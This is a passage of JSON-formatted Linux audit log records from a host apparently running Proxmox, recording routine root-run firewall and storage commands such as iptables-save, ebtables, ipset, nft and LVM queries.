cap_frootid=0"} {"@timestamp":1781964995407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.407:63526): arch=c000003e syscall=59 success=yes exit=0 a0=5cc6c230dac8 a1=7ffd32853530 a2=5cc6f37ab680 a3=5cc6c22f124e items=2 ppid=60946 pid=60948 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675815,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.815:66637): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966346265,"@rawstring":"node=pve type=PATH msg=audit(1781966346.265:69384): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.406:63525): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd328534f0 a1=5cc6f37b2310 a2=5cc6f37ab680 a3=5 items=2 ppid=60946 pid=60947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675815,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.815:66636): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966346265,"@rawstring":"node=pve type=PATH msg=audit(1781966346.265:69383): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995403,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.403:63523): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.814:66635): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966346265,"@rawstring":"node=pve type=PATH msg=audit(1781966346.265:69382): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.396:63522): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675808,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.808:66634): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966345115,"@rawstring":"node=pve type=PATH msg=audit(1781966345.115:69380): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995389,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.389:63521): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60944 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.799:66633): proctitle=\"ip6tables-save\""} {"@timestamp":1781966345115,"@rawstring":"node=pve type=PATH msg=audit(1781966345.115:69380): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.385:63520): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c200 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60943 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.789:66632): proctitle=\"iptables-save\""} {"@timestamp":1781966345112,"@rawstring":"node=pve type=PATH msg=audit(1781966345.112:69379): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995379,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.379:63519): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed540 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60942 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.780:66631): proctitle=\"ip6tables-save\""} {"@timestamp":1781966345112,"@rawstring":"node=pve type=PATH msg=audit(1781966345.112:69379): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.373:63518): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd230 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60941 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675770,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.770:66630): proctitle=\"iptables-save\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=PATH msg=audit(1781966345.108:69378): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995042,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.042:63517): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb5e0 a1=64f8d73dae90 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60938 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.766:66629): proctitle=\"ebtables-restore\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=PATH msg=audit(1781966345.108:69378): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.010:63516): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1ecb970 a1=64f8d73dc790 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60937 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.762:66628): proctitle=\"ebtables-restore\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=PATH msg=audit(1781966345.108:69377): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964991.406:63515): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675755,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.755:66627): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966345108,"@rawstring":"node=pve type=PATH msg=audit(1781966345.108:69377): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964991.393:63512): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675749,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.749:66626): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966345108,"@rawstring":"node=pve type=PATH msg=audit(1781966345.108:69376): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964986.381:63509): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.740:66625): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966345104,"@rawstring":"node=pve type=PATH msg=audit(1781966345.104:69375): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986376,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964986.376:63506): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.733:66624): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966345104,"@rawstring":"node=pve type=PATH msg=audit(1781966345.104:69375): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985363,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.363:63503): arch=c000003e syscall=59 success=yes exit=0 a0=64d9ab36d0e0 a1=64d9ab369e60 a2=64d9ab34b680 a3=5 items=2 ppid=60926 pid=60932 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.723:66623): proctitle=697073657400726573746F7265"} {"@timestamp":1781966345104,"@rawstring":"node=pve type=PATH msg=audit(1781966345.104:69375): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985360,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.360:63502): arch=c000003e syscall=59 success=yes exit=0 a0=64d96cc7cac8 a1=7ffeb6919a70 a2=64d9ab34b680 a3=64d96cc6024e items=2 ppid=60926 pid=60928 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675716,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.716:66622): proctitle=\"ip6tables-save\""} {"@timestamp":1781966345099,"@rawstring":"node=pve type=PATH msg=audit(1781966345.099:69374): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985359,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.359:63501): arch=c000003e syscall=59 success=yes exit=0 a0=7ffeb6919a30 a1=64d9ab352360 a2=64d9ab34b680 a3=5 items=2 ppid=60926 pid=60927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675705,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.705:66621): proctitle=\"iptables-save\""} {"@timestamp":1781966345099,"@rawstring":"node=pve type=PATH msg=audit(1781966345.099:69374): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985354,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.354:63499): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675699,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.699:66620): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966345093,"@rawstring":"node=pve type=PATH msg=audit(1781966345.093:69373): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.348:63498): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60925 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675695,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.695:66619): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966345093,"@rawstring":"node=pve type=PATH msg=audit(1781966345.093:69373): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985342,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.342:63497): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60924 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.691:66618): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966345085,"@rawstring":"node=pve type=PATH msg=audit(1781966345.085:69372): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.335:63496): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed6c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60923 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.691:66617): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966345085,"@rawstring":"node=pve type=PATH msg=audit(1781966345.085:69372): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985329,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.329:63495): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60922 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675686,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.686:66616): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966345080,"@rawstring":"node=pve type=PATH msg=audit(1781966345.080:69371): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985326,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.326:63494): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e568a7cc740 items=0 ppid=1156 pid=60921 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965675673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.673:66615): proctitle=\"ip6tables-save\""} {"@timestamp":1781966345080,"@rawstring":"node=pve type=PATH msg=audit(1781966345.080:69371): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.324:63493): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbbda86e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60921 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675658,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.658:66614): proctitle=\"iptables-save\""} {"@timestamp":1781966345075,"@rawstring":"node=pve type=PATH msg=audit(1781966345.075:69370): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985318,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.318:63492): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138c50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.650:66613): proctitle=69707365740073617665"} {"@timestamp":1781966345075,"@rawstring":"node=pve type=PATH msg=audit(1781966345.075:69370): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.314:63491): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1408d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60919 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675640,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.640:66612): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966345070,"@rawstring":"node=pve type=PATH msg=audit(1781966345.070:69369): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985308,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.308:63490): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131670 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60918 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.631:66611): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966345070,"@rawstring":"node=pve type=PATH msg=audit(1781966345.070:69369): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.303:63489): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135e30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60917 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965674520,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965674.520:66610): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966345064,"@rawstring":"node=pve type=PATH msg=audit(1781966345.064:69368): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.298:63488): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b83fd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60916 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965674495,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965674.495:66609): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966345064,"@rawstring":"node=pve type=PATH msg=audit(1781966345.064:69368): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985292,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.292:63487): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965673914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965673.914:66608): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966345058,"@rawstring":"node=pve type=PATH msg=audit(1781966345.058:69367): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.285:63486): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 